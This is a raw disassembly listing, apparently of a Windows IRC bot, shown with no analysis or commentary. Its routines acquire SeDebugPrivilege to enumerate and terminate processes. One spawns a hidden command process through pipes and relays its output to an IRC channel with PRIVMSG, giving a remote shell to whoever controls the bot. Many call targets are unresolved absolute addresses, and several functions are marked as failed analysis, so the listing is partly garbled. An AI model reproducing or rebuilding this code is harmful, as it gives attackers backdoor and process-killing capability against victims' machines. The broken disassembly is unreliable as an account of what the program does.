		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4197CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41994D	proc near		; CODE XREF: sub_418FA3+41p
					; sub_419198+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_4199FF
		jz	loc_4199F8
		cmp	eax, 7Bh
		ja	short loc_4199C4
		jz	short loc_4199BA
		cmp	eax, 5
		jz	short loc_4199B0
		cmp	eax, 8
		jz	short loc_4199A6
		cmp	eax, 32h
		jz	short loc_41999C
		cmp	eax, 35h
		jz	short loc_419992
		cmp	eax, 57h
		jnz	loc_419A4E
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_419992:				; CODE XREF: sub_41994D+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_41999C:				; CODE XREF: sub_41994D+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199A6:				; CODE XREF: sub_41994D+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: sub_41994D+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199BA:				; CODE XREF: sub_41994D+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199C4:				; CODE XREF: sub_41994D+1Aj
		sub	eax, 7Ch
		jz	short loc_4199F1
		sub	eax, 7C8h
		jz	short loc_4199EA
		dec	eax
		jz	short loc_4199E0
		dec	eax
		jnz	short loc_419A4E
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199E0:				; CODE XREF: sub_41994D+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419A6F
; ---------------------------------------------------------------------------


loc_4199EA:				; CODE XREF: sub_41994D+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_41994D+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_4199F8:				; CODE XREF: sub_41994D+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_4199FF:				; CODE XREF: sub_41994D+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A38
		jz	short loc_419A31
		sub	eax, 8ADh
		jz	short loc_419A63
		dec	eax
		dec	eax
		jz	short loc_419A2A
		dec	eax
		jz	short loc_419A23
		dec	eax
		dec	eax
		jnz	short loc_419A4E
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_41994D+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A2A:				; CODE XREF: sub_41994D+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A31:				; CODE XREF: sub_41994D+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A38:				; CODE XREF: sub_41994D+B9j
		sub	eax, 8CAh
		jz	short loc_419A6A
		sub	eax, 17h
		jz	short loc_419A63
		sub	eax, 25h
		jz	short loc_419A5C
		sub	eax, 29h
		jz	short loc_419A55


loc_419A4E:				; CODE XREF: sub_41994D+35j
					; sub_41994D+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A55:				; CODE XREF: sub_41994D+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A5C:				; CODE XREF: sub_41994D+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A63:				; CODE XREF: sub_41994D+C2j
					; sub_41994D+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419A6F
; ---------------------------------------------------------------------------


loc_419A6A:				; CODE XREF: sub_41994D+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419A6F:				; CODE XREF: sub_41994D+40j
					; sub_41994D+4Aj ...
		push	offset dword_4D8F20
		call	sub_41C006
		pop	ecx
		mov	eax, offset dword_4D8F20
		pop	ecx
		retn
sub_41994D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A81	proc near		; CODE XREF: sub_401AC7+46B8p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41DFD4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26C0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41DFD4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41DFB7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4C9314
		test	eax, eax
		jnz	short loc_419B11
		mov	esi, offset dword_4D8D1C
		push	offset unk_439A34
		push	esi
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_419B3A
; ---------------------------------------------------------------------------


loc_419B11:				; CODE XREF: sub_419A81+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41994D
		pop	ecx
		mov	esi, offset dword_4D8D1C
		push	eax
		push	offset dword_439A08
		push	esi
		call	sub_41C006
		add	esp, 14h


loc_419B3A:				; CODE XREF: sub_419A81+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419A81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B3F	proc near		; CODE XREF: sub_417269+45p
					; sub_417269+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 27205DFh
		nop
		push	eax
		call	dword_4C92E8
		test	eax, eax
		jnz	short loc_419B5E
		leave
		retn
; ---------------------------------------------------------------------------


loc_419B5E:				; CODE XREF: sub_419B3F+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4C92C0
		test	eax, eax
		jz	short loc_419B9C
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419B85
		or	[ebp+var_8], 2
		jmp	short loc_419B89
; ---------------------------------------------------------------------------


loc_419B85:				; CODE XREF: sub_419B3F+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419B89:				; CODE XREF: sub_419B3F+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4C9370
		mov	esi, eax


loc_419B9C:				; CODE XREF: sub_419B3F+32j
		push	[ebp+var_4]
		nop
		call	near ptr 266053Bh
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BAA	proc near		; CODE XREF: sub_401AC7+7781p
					; sub_419DD9+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4C9324, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419DA9
		cmp	dword_4C9308, ebx
		jz	loc_419DA9
		cmp	dword_4C9218, ebx
		jz	loc_419DA9
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B3F
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4C9324
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419D9C
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4C9308
		mov	esi, dword_427078
		test	eax, eax
		jz	loc_419D97
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4C9218
		test	eax, eax
		jz	loc_419D97
		mov	edi, dword_427094
		mov	ebx, 1F0FFFh


loc_419C6E:				; CODE XREF: sub_419BAA+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419CD5
		mov	[ebp+var_4], offset off_439A60


loc_419C7C:				; CODE XREF: sub_419BAA+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2840000h
		test	eax, eax
		jz	short loc_419CA4
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439AC0
		jl	short loc_419C7C
		jmp	loc_419D7D
; ---------------------------------------------------------------------------


loc_419CA4:				; CODE XREF: sub_419BAA+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419D7D
		push	0
		push	eax
		nop
		call	near ptr 2710E8Eh
		test	eax, eax
		jnz	loc_419D7D


loc_419CCB:				; CODE XREF: sub_419BAA+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419D7D
; ---------------------------------------------------------------------------


loc_419CD5:				; CODE XREF: sub_419BAA+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419D68
		cmp	[ebp+arg_4], eax
		jz	loc_419D7D
		push	[ebp+var_128]
		push	8
		call	dword_4C9324
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D28
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4C91C4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D2E
		lea	eax, [ebp+var_234]
		jmp	short loc_419D34
; ---------------------------------------------------------------------------


loc_419D28:				; CODE XREF: sub_419BAA+15Cj
		push	[ebp+var_128]


loc_419D2E:				; CODE XREF: sub_419BAA+174j
		lea	eax, [ebp+var_10C]


loc_419D34:				; CODE XREF: sub_419BAA+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C006
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h
		jmp	loc_419CCB
; ---------------------------------------------------------------------------


loc_419D68:				; CODE XREF: sub_419BAA+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419DB0


loc_419D7D:				; CODE XREF: sub_419BAA+F5j
					; sub_419BAA+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4C9218
		test	eax, eax
		jnz	loc_419C6E
		xor	ebx, ebx


loc_419D97:				; CODE XREF: sub_419BAA+9Dj
					; sub_419BAA+B3j
		push	[ebp+var_8]
		call	esi


loc_419D9C:				; CODE XREF: sub_419BAA+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B3F
		pop	ecx
		pop	ecx


loc_419DA9:				; CODE XREF: sub_419BAA+3Aj
					; sub_419BAA+46j ...
		xor	eax, eax


loc_419DAB:				; CODE XREF: sub_419BAA+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419DB0:				; CODE XREF: sub_419BAA+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2710E8Eh
		nop
		test	eax, eax
		jnz	short loc_419DD4
		push	edi
		call	esi
		jmp	short loc_419DA9
; ---------------------------------------------------------------------------


loc_419DD4:				; CODE XREF: sub_419BAA+223j
		push	1
		pop	eax
		jmp	short loc_419DAB
sub_419BAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419DD9	proc near		; DATA XREF: sub_401AC7+2670o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439C60
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C006
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E38
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409862
		add	esp, 14h


loc_419E38:				; CODE XREF: sub_419DD9+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419BAA
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419E60
		push	offset unk_439C3C
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419DD9+7Ej
		push	offset unk_439C18


loc_419E65:				; CODE XREF: sub_419DD9+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C006
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419E98
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409862
		add	esp, 14h


loc_419E98:				; CODE XREF: sub_419DD9+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415CEE
		push	[ebp+var_14]
		call	sub_40B6C9
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_419DD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419EB7	proc near		; CODE XREF: sub_401AC7+7723p
					; sub_40B4E8+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 268029Ah
		mov	esi, eax
		test	esi, esi
		jz	short loc_419EE9
		push	0
		push	esi
		nop
		call	near ptr 2710E8Eh
		test	eax, eax
		jnz	short loc_419EE9
		push	esi
		xor	edi, edi
		nop
		call	near ptr 266053Bh


loc_419EE9:				; CODE XREF: sub_419EB7+1Aj
					; sub_419EB7+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419EB7	endp

; ---------------------------------------------------------------------------
word_419EEE	dw 3356h		; DATA XREF: ___:004015E8o
		dd 56016AF6h, 56565656h, 0FFFCADE8h, 18C483FFh,	9A5C35FFh
		dd 0D6E80043h, 9002256Fh
		db 0EBh, 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F0E	proc near		; CODE XREF: sub_419F3E+2Ap
					; sub_419F76+7Ep ...
		mov	eax, dword_4D9588
		push	esi
		mov	esi, dword_427078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F22
		push	eax
		call	esi


loc_419F22:				; CODE XREF: sub_419F0E+Fj
		mov	eax, dword_4D9590
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F2F
		push	eax
		call	esi


loc_419F2F:				; CODE XREF: sub_419F0E+1Cj
		mov	eax, dword_4D9584
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F3C
		push	eax
		call	esi


loc_419F3C:				; CODE XREF: sub_419F0E+29j
		pop	esi
		retn
sub_419F0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F3E	proc near		; CODE XREF: sub_401AC7+746Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B960
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4D958C
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_419F71
		call	sub_419F0E
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419F71:				; CODE XREF: sub_419F3E+28j
		push	1
		pop	eax
		leave
		retn
sub_419F3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F76	proc near		; CODE XREF: sub_419FFD+D3p
					; sub_419FFD+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43B4B8
		push	[ebp+arg_4]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419FB9
		push	7D0h
		nop
		call	near ptr 2670EE1h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C006
		add	esp, 10h
		jmp	short loc_419FD0
; ---------------------------------------------------------------------------


loc_419FB9:				; CODE XREF: sub_419F76+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_419FD0:				; CODE XREF: sub_419F76+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		test	eax, eax
		jg	short loc_419FF9
		call	sub_419F0E


loc_419FF9:				; CODE XREF: sub_419F76+7Cj
		xor	eax, eax
		leave
		retn
sub_419F76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FFD	proc near		; DATA XREF: sub_41A152+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4D9594


loc_41A015:				; CODE XREF: sub_419FFD+79j
					; sub_419FFD+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4D9588
		nop
		call	near ptr 284085Ch
		test	eax, eax
		jz	loc_41A0E3
		cmp	[ebp+var_4], edi
		jnz	short loc_41A078
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4D9584
		nop
		call	near ptr 28403EFh
		test	eax, eax
		jz	short loc_41A06E
		cmp	[ebp+var_8], 103h
		jnz	loc_41A107


loc_41A06E:				; CODE XREF: sub_419FFD+62j
		push	0Ah
		nop
		call	near ptr 2670EE1h
		jmp	short loc_41A015
; ---------------------------------------------------------------------------


loc_41A078:				; CODE XREF: sub_419FFD+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A08F


loc_41A07F:				; CODE XREF: sub_419FFD+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A0DD
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A07F


loc_41A08F:				; CODE XREF: sub_419FFD+80j
		mov	[ebp+var_4], esi


loc_41A092:				; CODE XREF: sub_419FFD+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4D9588
		nop
		call	near ptr 26F1192h
		test	eax, eax
		jz	short loc_41A12F
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4D95C8
		call	sub_419F76
		add	esp, 0Ch
		jmp	loc_41A015
; ---------------------------------------------------------------------------


loc_41A0DD:				; CODE XREF: sub_419FFD+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A092
; ---------------------------------------------------------------------------


loc_41A0E3:				; CODE XREF: sub_419FFD+45j
		push	offset unk_439CE8
		push	ebx
		push	dword_4D95C8
		call	sub_419F76
		push	[ebp+arg_0]
		call	sub_40B6C9
		add	esp, 10h
		push	1
		nop
		call	near ptr 26E0000h


loc_41A107:				; CODE XREF: sub_419FFD+6Bj
		call	sub_419F0E
		push	offset unk_439CC0
		push	ebx
		push	dword_4D95C8
		call	sub_419F76
		push	[ebp+arg_0]
		call	sub_40B6C9
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h


loc_41A12F:				; CODE XREF: sub_419FFD+C3j
		push	offset unk_439C90
		push	ebx
		push	dword_4D95C8
		call	sub_419F76
		push	[ebp+arg_0]
		call	sub_40B6C9
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h
sub_419FFD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A152	proc near		; CODE XREF: sub_401AC7+2494p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F0E
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433EDC
		push	esi
		call	dword_4C93C0
		test	eax, eax
		jz	loc_41A24C
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427114
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A24C
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A24C
		mov	edi, dword_427110
		push	3
		push	esi
		push	esi
		push	offset dword_4D958C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_41A24C
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43B4B8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 26607E0h
		nop
		test	eax, eax
		jnz	short loc_41A254


loc_41A24C:				; CODE XREF: sub_41A152+2Fj
					; sub_41A152+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A302
; ---------------------------------------------------------------------------


loc_41A254:				; CODE XREF: sub_41A152+F8j
		push	[ebp+var_4]
		mov	edi, dword_427078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4D9588, eax
		mov	eax, [ebp+var_8]
		mov	dword_4D9590, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4D9584, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4D95C8, eax
		jz	short loc_41A28E
		push	[ebp+arg_4]
		jmp	short loc_41A28F
; ---------------------------------------------------------------------------


loc_41A28E:				; CODE XREF: sub_41A152+135j
		push	ebx


loc_41A28F:				; CODE XREF: sub_41A152+13Aj
		push	offset dword_4D9594
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_439D4C
		call	sub_40B3AD
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43C248[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419FFD
		push	esi
		push	esi
		call	near ptr 2680000h
		nop
		cmp	eax, esi
		mov	dword_43C254[edi], eax
		jnz	short loc_41A300
		nop
		call	near ptr 26807F9h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439D18
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415CEE
		add	esp, 10h


loc_41A300:				; CODE XREF: sub_41A152+185j
		xor	eax, eax


loc_41A302:				; CODE XREF: sub_41A152+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A152	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A307	proc near		; DATA XREF: sub_401AC7+2DD8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A34E
		call	sub_41A367
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A34E:				; CODE XREF: sub_41A307+3Ej
		call	sub_41A68B


loc_41A353:				; CODE XREF: sub_41A307+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6C9
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h
sub_41A307	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A367	proc near		; CODE XREF: sub_41A307+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4C93D4, edi
		jnz	loc_41A499
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
